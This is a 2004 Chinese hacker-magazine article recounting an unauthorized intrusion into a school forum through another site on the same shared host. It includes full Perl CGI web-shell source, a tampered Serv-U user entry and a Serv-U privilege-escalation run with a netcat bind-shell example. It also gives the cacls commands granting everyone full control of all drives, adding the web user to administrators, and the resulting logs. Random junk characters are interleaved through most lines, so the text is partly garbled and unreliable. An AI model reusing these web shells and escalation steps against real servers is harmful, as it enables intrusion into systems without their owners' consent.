剑走偏锋——灵巧的旁注攻击 % F: L! k- _" n: ~1 ^1 Y: K
本文作者:angel
1 @( e, r2 {( S" @4 L, Z文章性质:原创' D* {3 p2 O7 J; M8 m; i1 x
发布日期:2004-11-09
9 w% U5 ]( b% h# H8 e; w- L# g注意:4 I" c/ U8 j# Q
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。, l. Y3 f% A; D! ? C
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。# J, d7 J0 L* A- T# h3 \' v- O- Q
* t) Q; G* Z c) }7 u
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 ! X" {/ z" g- t8 G1 S; T
4 q5 B$ |0 O5 ~7 U
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 ' S9 O/ q( R% D
" `- U: C( ?( {5 k( F. G 不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
& B! U* W! h% e" N1 v8 K$ V) j9 A& B9 a4 Y; b
一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
r$ X; o) D6 Q+ }; {! b4 o( d( z! U a( ~8 |* |
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 ' p7 Z) M5 R- ?+ V, f& o
7 t/ R( d/ {1 _2 u* O; R% l/ Z 没有目的的跳转目录着…… . r, n% `5 P+ i* v% B, A
* J/ ~0 ~# w- X# o J
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… 6 q# U0 K& [; z( w% S" N' s
+ }6 l h: P# t8 |$ A: U( g 结束了吗?不,我试着 FTP 一下: 2 K6 u5 M; @: o, e! R" I
9 G4 V# W6 ~& e+ q! F- f- a9 a
Microsoft Windows 2000 [Version 5.00.2195]* {: F7 Q: |5 C; {) V v6 E
(C) 版权所有 1985-2000 Microsoft Corp.
: J1 L* c, t% O
* k( _8 [: _/ E8 e r# JC:\Documents and Settings\Administrator>ftp www.school.com, @ {" [% ^" `8 O! h% n
Connected to www. school.com.
1 P: r/ R; ~( p# b$ n0 ]% J2 Z" G220 Welcome to FTP Server...
# y3 q& v" b* UUser (www.bjtrq.com:(none)):
`+ a5 b! ]" {# W& p331 User name okay, need password. 9 y, H5 g1 t: f. J- n. X5 Z) [
Password: 4 B# S* w$ V. {2 V& Q' U
530 Not logged in.
H' h/ w; c8 k, m! ULogin failed.
4 B! X: |* d# r7 @1 E b. h& k+ p! ^ftp> bye & P4 \. J& @- R6 ?3 f
221 Goodbye!
. T. x( n8 [' j, U5 W; @ . J: X6 x- b1 \/ N4 v U
7 s _) H6 d+ f4 v% D 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
: T n1 F2 [8 W) z9 g, q) M% P: s& j" l
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
3 L/ N" v% |$ w* V9 G+ ?* m) l: e2 n5 I J3 A
Application Data& d) S# M% `, Y* p# s8 e
Documents& v8 Q: ~+ N( g
DRM
4 `+ g$ E+ Y8 \/ I/ U0 iFavorites3 P( T( O- _ x* q- J5 b* X
Templates
* G5 b4 w2 h7 i「开始」菜单
' U, ^5 _ w0 |2 V& U, `/ I桌面
8 [8 x& ]7 K1 T. E: W . e! W8 S6 e4 s ]3 W2 c
) o$ G, t9 Q6 A/ D 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, ' d/ M @' T9 e
" {& l9 s- |0 i( @5 n7 k D
ActiveState ActivePerl 5.8* x# u: C" Z, P
Administrative Tools
! Q( d2 Y9 H: Y9 H. c" ?. Q/ SDeerfield.com) @/ M- d0 A; v& A2 s+ r Z ~
DTemp
3 B$ N4 b9 \4 z- SIPSentry* V$ K7 Q3 `4 V t9 ~
MBM 5
/ o; g0 k0 S, L; l; D: W1 `2 F( JNetMeter% m9 n1 ~. M7 y3 e- y
Network ICE
) G; E" a* Y9 [9 `3 o9 NPersits Software AspEmail
1 F/ y+ {6 I6 m+ y, s0 ~. UPersits Software AspJpeg
7 P) {- v( e0 z1 ?( BServ-U FTP Server
. B5 |6 a9 D& \4 F% ?4 ? WSymantec Client Security' r% r# O) V1 u; P4 r
Windows 优化大师$ c) B6 ]" S, k) i: l1 h
WinRAR; E7 P2 B$ m3 o6 Z3 `! Q
启动
9 o- z8 O: `% X* g2 Z管理工具! c% d" w: k1 \, ?
附件6 `* ^) H7 z2 `
% V, e6 W) d" g9 R a# ]/ X1 [" q1 r" B) V/ c4 a
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
# x/ z4 i5 ?: c: v" ]5 H& ?9 B
. x/ f# W' M9 `3 M* r, S 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: , s" w0 ~5 ]: t4 @$ a& X
! y2 M# J+ G/ |& u
User281=angel|1|0
: t0 B: A& C% R% t! I ! u; k! j/ F1 m; g7 r' T: ^& E
8 s, b7 O* q" `1 l6 V4 R S 然后加上
* g( z8 U# H) a Q7 o6 `! J6 C6 b
[USER=angel|1]
! j. G; C1 G& O! e) y, MPassword=ng98F85379EA68DBF97BAADCA99B69B805
0 f1 F6 N; H4 MHomeDir=D:\websites+ a! ]5 K& B% Z
RelPaths=1
/ y$ u- c: D1 w! L4 O, aTimeOut=600
- g6 a- {+ I F$ nMaintenance=System
- H' X0 E" j$ o$ O- R5 CAccess1=D:\websites|RWAMELCDP
) E2 q8 }. D9 z7 \" vSKEYValues=1 `- s# k# f# u1 D! A5 N- i1 X. u
& Q7 c, i) t4 F( M) C! k
6 p4 v. l7 J: p; J 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
' U% C1 o6 H& A: D) B T4 I# c) Q3 L
: c% {; \ C9 h6 |0 [' I 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 2 x n) F. |" k8 C! `' `% X8 o4 m8 m& h3 [
t# r0 Y& f H. x- z; C1 H 不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
0 H% o: @4 l% e0 V7 ^. H$ c/ l6 ]4 X) P" k5 |6 ~ ^$ \
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: 3 Y4 X4 P1 M% `/ e$ m/ N8 A+ o
% N. w% e: ~3 O. i#!/usr/bin/perl
W& R: b4 H( e* dbinmode(STDOUT);* L% n! M: n' l) Z" H) d# k
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
5 ^; h f# ]6 W$_ = $ENV{QUERY_STRING};
" B( f ^6 g6 w: S. {3 j! `6 Fs/%20/ /ig;
+ J9 D0 A* L1 r2 Q$ Xs/%2f/\//ig;7 l, K; ? y/ H
$execthis = $_;
) V8 q" l. k, A, v1 Rsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);2 {+ N! v: L# o7 y7 B3 ?# ]; g
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
1 i, m% s( }2 I A# osystem($execthis);
8 j4 c: Q3 e- V1 Esyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
) E; u+ B6 g' q$ z' vclose(STDERR);
9 k4 ?) @% K: \0 e7 Sclose(STDOUT);8 Z5 q8 A6 E7 _; K( O
exit;
$ m( x" I% o/ X3 [( g) m4 b - w/ j+ C* g" x2 b, t; ?
4 H9 h) t" k/ p; t
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! 1 f) E/ j$ d$ N
4 i' W6 E1 g* R. r4 \: E 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
8 v" `0 Y0 G' |' c: f
1 r. t7 i4 r# W- ghttp://anyhost//cmd.pl?d:\user\bin\su.exe ( L# }) R$ X8 O, _: K
2 S& H* ]6 V2 n& N) w3 ^2 [/ k1 A/ s! ~
返回:
" ]; {! y: L3 [% P. B5 r5 k9 p% D! q0 E8 ]2 D( z$ f
Serv-u >3.x Local Exploit by xiaolu
8 N# f9 I, Y' R+ x; d8 X0 ~5 x! ?' n0 E; v4 X+ p5 R5 p
USAGE: serv-u.exe "command"
# c5 ]" d0 Z- X2 | i/ L% {% `, h# Q9 L
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
+ x1 I% ^% M. H7 q" [0 l " ?. N# }- C0 |( R7 V9 {. K
/ L# b* m7 h K, m3 Q 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: & u8 S4 a# y J
6 l: Y: Q9 N3 Y. q: {
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" 9 ]9 W ~3 B# D# P
) \# h: m, p6 ~; K9 Q( {http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
* k$ F5 m( \' j: H8 k! U3 @0 {2 _" b2 w! ]
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" + [# ]0 S H# O! u6 |
: b$ S+ E. N+ E& v' B" {
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
+ e2 K4 ]7 ^2 J; h# x9 r# }$ B( f) e * i3 S8 T" z4 D, e7 w4 e/ J
; C4 }+ ]" [' f7 m 返回下面的信息,就表示成功了!!!
3 d- O- ~2 z4 F; s" B9 R5 c1 M3 o" I' \
Serv-u >3.x Local Exploit by xiaolu 9 F% S; Q% m% `# b
# `8 R& ?& b; C9 C# x<220 Serv-U FTP Server v5.2 for WinSock ready... * R: U9 s/ _, u1 F) w4 p8 {5 l$ `
. X2 \( ~" e0 k2 s; U>USER LocalAdministrator : T t. D* o+ ^5 {& S9 f3 M
. b0 Y5 ]" f3 e! @( e% ]( x c
<331 User name okay, need password.
, J7 @0 {' O, z8 s, J7 {
2 V! a, T% K+ @, l2 ^****************************************************** & M" i* Z* `: ?7 l1 b7 t3 H
$ Q( P8 |& n/ e( n$ h- C: G9 c2 |>PASS #l@$ak#.lk;0@P
0 ~- k. h- S$ x8 q/ y9 O( O( y, \
3 A# E' }7 t% D. X( l: U3 v<230 User logged in, proceed. / [- z( a2 E$ a/ o* F* Y5 O# @4 @ e$ F
% G6 U0 l8 @ q1 u
******************************************************
1 a+ y2 p9 J3 j+ D( |
$ m& a2 q; B' n( |' l>SITE MAINTENANCE
! y, K! A" Y0 M! a: `( s$ T) `+ {5 e, Z' i ]& D+ c2 `+ V7 ~2 f
******************************************************
3 n) r& I# J; x/ E* K, [3 G: J. V- ^. g# w
[+] Creating New Domain...
( ]+ F4 r7 t2 `. h" ?& o" x# N" L1 n" l4 G) X$ `
<200-DomainID=2
8 U# \' P) @" l* k' X0 B4 \* z( k6 U C+ d! P* V( S5 [" M6 Z8 D
<220 Domain settings saved
0 g6 Y0 Q5 ~+ i
1 R6 D6 T% i1 J u******************************************************
: l, A5 a. b+ J& ^
& d$ Z5 k V' a# v[+] Domain xl:2 Created
' d$ _; H3 j& Q! g% `' B8 T% D' G& Z
[+] Creating Evil User 5 O8 e/ ~) c# g% v2 G2 v8 B; M3 j
4 G E/ I, u, f7 k4 F S
<200-User=xl 3 M1 G4 q' p V h# J4 F$ y! p4 s
# K7 r9 Y2 ~: Q! s1 f% P
200 User settings saved p7 d3 A1 ~7 k- ~3 R# j1 T
4 `; j; y0 k* ]0 _" G2 {
****************************************************** ; Y& d6 @: L# {0 N2 R$ E1 S( g
# {# {9 S% R' L+ N1 H5 `9 _1 q
[+] Now Exploiting... 2 ?3 Z0 m/ ] \
' o& Q3 |0 c A
>USER xl * P& }5 c2 k0 l- D
5 l) J$ \" }- v: b \- V<331 User name okay, need password.
1 u- K+ Q9 a0 b
* x# c. w# |) s; k }. q****************************************************** `+ |2 A8 |5 t! T( v# e. u: b9 L
5 U/ e T' J N: X3 p7 c. ?$ m7 W
>PASS 111111
$ U- d% k2 m) n U. K( v* |$ { |& N+ Y2 O* ?4 _0 C9 d( f3 [
<230 User logged in, proceed.
+ N) O4 G% T2 t l, q0 z7 k' M o9 D; e/ j% h/ O
******************************************************
$ ~* Z2 O+ o! M. e: c, a1 E- [/ e# L
3 y0 j& h' v) [! r. B[+] Now Executing: cacls.exe c: /E /T /G everyone:F - i- H+ D0 t/ U) c4 x* d
& h. p; I6 D F: n1 J" S2 Q4 i1 R
<220 Domain deleted 0 i1 f1 z; t4 M$ I0 k
1 i; J J1 d2 H6 k******************************************************
' l$ W& p! S& Q' i; l# ^ % Q# p/ I& [+ j- f; N0 j9 i5 T
0 N1 F8 X/ N: O% }
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
2 z$ V1 P) ~% Z* t" w% t; ?6 t" \5 z% l
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
+ S R* g5 m/ ? # G. e% v: k2 u1 e, E, ~6 g) N/ e5 q, c
3 ]7 ?; }, F8 S0 ], Q( }; R; u* { 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 8 D6 Z5 h' ?! ]# g& P/ f/ v
4 _5 C( q0 y5 p! Q& M 说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。* D) Y+ v) J- r& u2 ~% h; e- z
+ \& Z6 Z9 V( G H. y+ Q* y$ y5 {
2 \( q6 I) U$ i1 O6 m* J8 d |